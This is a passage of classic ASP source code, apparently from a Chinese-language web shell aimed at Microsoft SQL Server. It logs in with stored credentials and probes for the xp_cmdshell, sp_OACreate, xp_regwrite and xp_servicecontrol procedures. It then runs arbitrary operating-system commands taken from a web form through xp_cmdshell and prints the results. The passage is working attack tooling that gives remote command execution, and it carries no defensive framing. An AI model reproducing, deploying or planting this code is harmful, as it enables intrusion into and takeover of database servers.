SSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
STRQUERY="Select COUNT(*) FROM MASTER.DBO.SYSOBJECTS Where XTYPE=''X'' AND NAME=''XP_CMDSHELL''"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF RECRESULT(0) THEN
SESSION("XP_CMDSHELL")=1
RESPONSE.WRITE "<FONT COLOR=RED>XP_CMDSHELL............. 存在!</FONT>"
ELSE
SESSION("XP_CMDSHELL")=0
RESPONSE.WRITE "<FONT COLOR=RED>XP_CMDSHELL............. 不存在!</FONT>"
END IF
STRQUERY="Select COUNT(*) FROM MASTER.DBO.SYSOBJECTS Where XTYPE=''X'' AND NAME=''SP_OACreate''"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF RECRESULT(0) THEN
RESPONSE.WRITE "<BR><FONT COLOR=RED>SP_OACreate............. 存在!</FONT>"
SESSION("SP_OACreate")=1
ELSE
RESPONSE.WRITE "<BR><FONT COLOR=RED>SP_OACreate............. 不存在!</FONT>"
SESSION("SP_OACreate")=0
END IF
STRQUERY="Select COUNT(*) FROM MASTER.DBO.SYSOBJECTS Where XTYPE=''X'' AND NAME=''XP_REGWRITE''"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF RECRESULT(0) THEN
RESPONSE.WRITE "<BR><FONT COLOR=RED>XP_REGWRITE............. 存在!</FONT>"
SESSION("XP_REGWRITE")=1
ELSE
RESPONSE.WRITE "<BR><FONT COLOR=RED>XP_REGWRITE............. 不存在!</FONT>"
SESSION("XP_REGWRITE")=0
END IF
STRQUERY="Select COUNT(*) FROM MASTER.DBO.SYSOBJECTS Where XTYPE=''X'' AND NAME=''XP_SERVICECONTROL''"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF RECRESULT(0) THEN
RESPONSE.WRITE "<BR><FONT COLOR=RED>XP_SERVICECONTROL 存在!</FONT>"
SESSION("XP_SERVICECONTROL")=1
ELSE
RESPONSE.WRITE "<BR><FONT COLOR=RED>XP_SERVICECONTROL 不存在!</FONT>"
SESSION("XP_SERVICECONTROL")=0
END IF
ELSE
RESPONSE.WRITE "<SCRIPT>ALERT(''操作超时,重新登陆!'')</SCRIPT>"
RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT>< FONT COLOR=BLACK>登陆超时</FONT>"
RESPONSE.END
END IF
ELSEIF REQUEST("SQLAAA")="CMD" THEN
IF SESSION("LOGIN")<>"" THEN
IF SESSION("PRI")=1 THEN
IF REQUEST("TOOL")="XP_CMDSHELL" THEN
SET ADOCONN=SERVER.CreateOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME")
IF REQUEST.FORM("CMD")<>"" THEN
STRQUERY = "EXEC MASTER.DBO.XP_CMDSHELL ''" & REQUEST.FORM("CMD") & "''"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF NOT RECRESULT.EOF THEN
DO WHILE NOT RECRESULT.EOF
STRRESULT = STRRESULT & CHR(13) & RECRESULT(0)
RECRESULT.MOVENEXT
LOOP
END IF
SET RECRESULT = NOTHING
RESPONSE.WRITE "<TEXTAREA ROWS=10 COLS=50>"
RESPONSE.WRITE "利用"&REQUEST("TOOL")&"扩展执行"
RESPONSE.WRITE REQUEST.FORM("CMD")
RESPONSE.WRITE STRRESULT
RESPONSE.WRITE "</TEXTAREA>"
END IF
ELSEIF REQUEST("TOOL")="SP_OACreate" THEN
SET ADOCONN=SERVER.CreateOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT